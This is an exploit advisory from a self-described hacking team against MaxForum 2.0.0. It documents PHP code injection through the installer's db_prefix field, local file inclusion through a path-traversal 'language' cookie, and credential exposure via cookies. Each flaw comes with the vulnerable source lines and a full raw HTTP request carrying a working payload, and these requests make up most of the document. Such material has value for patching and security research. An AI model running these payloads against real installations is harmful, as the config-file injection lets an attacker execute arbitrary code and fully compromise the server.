# Exploit Title : MaxForum 2.0.0 Multiple Vulnerabilities
# Date : 9 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://sourceforge.net/projects/maxforum/
# Software Link : jaist.dl.sourceforge.net/project/maxforum/2.0.0/Max_v2.0.0.zip
# Version : 2.0.0
# Tested on : Window and Linux
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/install/install.php (LINE: 1642-1685)
-----------------------------------------------------------------------------
LINE 1672-1676:
$mysql_host = "' . $_POST['mysql_host'] . '";
$mysql_login = "' . $_POST['mysql_login'] . '";
$mysql_pass = "' . strip_slashes($_POST['mysql_pass']) . '";
$mysql_database = "' . $_POST['mysql_database'] . '";
$db_prefix = "' . $_POST['db_prefix'] . '";
-----------------------------------------------------------------------------
#####################################################
DESCRIPTION for PHP Code Injection
#####################################################
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
This CMS allow attacker to insert PHP code into config.php with "max_";phpinfo();//"
/includes/config.php
-----------------------------------------------------------------------------
LINE 29-33:
$mysql_host = "localhost";
$mysql_login = "root";
$mysql_pass = "toor";
$mysql_database = "max";
$db_prefix = "max_";phpinfo();//";
-----------------------------------------------------------------------------
#####################################################
EXPLOIT
#####################################################
POST /Max/install/install.php?step=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/Max/install/install.php?step=3
Cookie: exp_lang=en; language=english; max_name=admin; max_password=2d6df19ab196f1c344310e0021239a06; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
mysql_host=localhost&mysql_login=root&mysql_pass=toor&mysql_database=max&db_prefix=max_%22%3Bphpinfo%28%29%3B%2F%2F&site_address=http%3A%2F%2Flocalhost%2FMax%2F&step=4&prev_step=3
###############################################
VULNERABILITY: Local File Inclusion via Cookie
###############################################
/install/index.php (LINE: 5-10)
-----------------------------------------------------------------------------
LINE 5-10:
$language = $_COOKIE['language'];
$exp_lang = $_COOKIE['exp_lang'];
if (file_exists("language/".$language."_".$exp_lang."/".$language.".php")){
@include("language/".$language."_".$exp_lang."/".$language.".php");
-----------------------------------------------------------------------------
#####################################################
EXPLOIT
#####################################################
GET /Max/install/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: language=../../phpinfo; lang=en_US; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97
Connection: keep-alive
###########################################
VULNERABILITY: Credentials Leak via Cookie
###########################################
POC:
GET /Max/index.php?forum=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: max_name=admin; max_password=dfbb72b7a33b97abda905a4af7e6c7f5; PHPSESSID=ver2j0fvv4tb98e3cupdulrd97; lang=
Connection: keep-alive
################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################